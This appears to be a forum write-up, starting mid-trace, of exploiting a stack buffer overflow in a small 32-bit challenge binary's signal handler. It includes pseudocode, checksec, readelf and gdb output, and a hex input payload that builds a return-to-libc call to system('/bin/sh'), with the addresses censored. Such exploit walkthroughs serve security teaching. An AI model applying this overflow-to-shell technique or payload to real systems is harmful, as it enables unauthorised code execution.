strncpy(0xffbb46c6, "aa", 2)                     = 0xffbb46c6
strtol(0xffbb46c6, 0, 16, 50)                    = 170
putchar(170, 0, 16, 50)                          = 170
putchar(170, 0, 16, 50)                          = 170
printf("%d %c\n", 170, '\252')                   = 6
strlen("aaa")                                    = 3
strcpy(0xffbb46c8, "\252")                       = 0xffbb46c8
printf("\252")                                   = 1
puts("\n----  Caught signal SIGINT, com"...)     = 43
+++ killed by SIGKILL +++


Simplified C pseudocode for the signal handler looks like:

Mã:
void signal_handler() {
  __int32 _not_important_1;
  char _not_important_2;
  int _not_important_3;
  size_t _not_important_4;
  char src[32];
  char dest;
  char format;
  int c;
  size_t i;
 
  puts("First Caught signal, coming out...");
  sleep(3);
  printf("\nGoodbye");
  for ( i = 0; i < strlen(name) * 2; ++i ) {
    strncpy(&dest, (const char *)(2 * i + name), 2);
    c = strtol(&dest, 0, 16);
    src[i] = putchar(c);
    printf("%d %c\n", c, putchar(c));
  }
  strcpy(&format, src);
  printf(&format);
  puts("\n----  Caught signal SIGINT, coming out...");
}


It is fairly easy to spot several flaws in this function.
  1. At line 22 there is a print format string vulnerability possible.
  2. At line 21 there is a stack buffer overflow vulnerability.
  3. At line 18 there is another stack buffer vulnerability.
We have decided to exploit the third option, however the second one overwrites the stack with shared data. Therefore a controlled user input must be safeguarded with a NULL terminating byte.
The binary has a non-executable stack and no canaries.
Mã:
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Therefore it is not possible to inject shellcode onto the stack.
Searching the binary .rel.plt section for possible exploit entry points with readelf

Mã:
Relocation section '.rel.plt' at offset 0x4dc contains 16 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000207 R_386_JUMP_SLOT   00000000   printf
0804a010  00000307 R_386_JUMP_SLOT   00000000   signal
0804a014  00000407 R_386_JUMP_SLOT   00000000   sleep
0804a018  00000507 R_386_JUMP_SLOT   00000000   strcpy
0804a01c  00000607 R_386_JUMP_SLOT   00000000   malloc
0804a020  00000707 R_386_JUMP_SLOT   00000000   puts
0804a024  00000807 R_386_JUMP_SLOT   00000000   strerror
0804a028  00000907 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a02c  00000a07 R_386_JUMP_SLOT   00000000   strlen
0804a030  00000b07 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a034  00000c07 R_386_JUMP_SLOT   00000000   putchar
0804a038  00000d07 R_386_JUMP_SLOT   00000000   strncpy
0804a03c  00000f07 R_386_JUMP_SLOT   00000000   pthread_join
0804a040  00001007 R_386_JUMP_SLOT   00000000   __isoc99_scanf
0804a044  00001107 R_386_JUMP_SLOT   00000000   pthread_create
0804a048  00001307 R_386_JUMP_SLOT   00000000   strtol

yields nothing of interest (no system or execve).
So the last resort will be a classic return to libc attack.
To perform it

Mã:
Dynamic section at offset 0xf0c contains 25 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libpthread.so.0]
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x804855c
 0x0000000d (FINI)                       0x8048a24
 0x00000019 (INIT_ARRAY)                 0x8049f00
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f04
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804831c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      300 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   128 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x80484dc
 0x00000011 (REL)                        0x80484d4
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048474
 0x6fffffff (VERNEEDNUM)                 2
 0x6ffffff0 (VERSYM)                     0x8048

both libc and libpthread from the original system will be required.
The signal function actually loops through the given name, parsing two characters at a time as a hexadecimal value and writes it into a buffer on the stack, without checking for the buffer length. So the goal is to provide enough data to fill the buffer, overflow it and build a valid stack frame for a libc function that executes shell, system@glibc in this case, but, for example, execve would also work.
The required input is:

Mã:
4142434445464748495041424344454647484950414243444546474849504142434400

which becomes

Mã:
ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCD[NULL]
  ^      ^
  |______|

on the stack. Characters from the first C to J are the addresses of system@glibc and the pointer to it’s argument –"/bin/sh".
To retrieve the aforementioned addresses gdb can be used:

Mã:
gdb-peda$ file signal
Reading symbols from signal...(no debugging symbols found)...done.
gdb-peda$ start
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xf7faf000 --> 0x1a6da8 
ECX: 0xc9045fc9 
EDX: 0xffffd634 --> 0xf7faf000 --> 0x1a6da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd608 --> 0x0 
ESP: 0xffffd608 --> 0x0 
EIP: 0x80488a7 (:       and    esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488a3 : ret    
   0x80488a4 :    push   ebp
   0x80488a5 :  mov    ebp,esp
=> 0x80488a7 :  and    esp,0xfffffff0
   0x80488aa :  sub    esp,0x20
   0x80488ad :  mov    DWORD PTR [esp+0x4],0x804878d
   0x80488b5 : mov    DWORD PTR [esp],0x2
   0x80488bc : call   0x80485a0 
[------------------------------------stack-------------------------------------]
0000| 0xffffd608 --> 0x0 
0004| 0xffffd60c --> 0xf7e21ad3 (:       mov    DWORD PTR [esp],eax)
0008| 0xffffd610 --> 0x1 
0012| 0xffffd614 --> 0xffffd6a4 --> 0xffffd7f6 ("/home/u/signal")
0016| 0xffffd618 --> 0xffffd6ac --> 0xffffd805 ("LC_PAPER=C.UTF-8")
0020| 0xffffd61c --> 0xf7feacca (add    ebx,0x12336)
0024| 0xffffd620 --> 0x1 
0028| 0xffffd624 --> 0xffffd6a4 --> 0xffffd7f6 ("/home/u/signal")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Temporary breakpoint 1, 0x080488a7 in main ()
gdb-peda$ p/x &system
$1 = 0xcensored
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xCensored ("/bin/sh")

The architecture is x86 and therefore pointers are in little endian convention, so the addresses must be written in reverse.
Finally, the exploit is:


Mã:
4142censoredCensored41424344454647484950414243444546474849504142434400
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên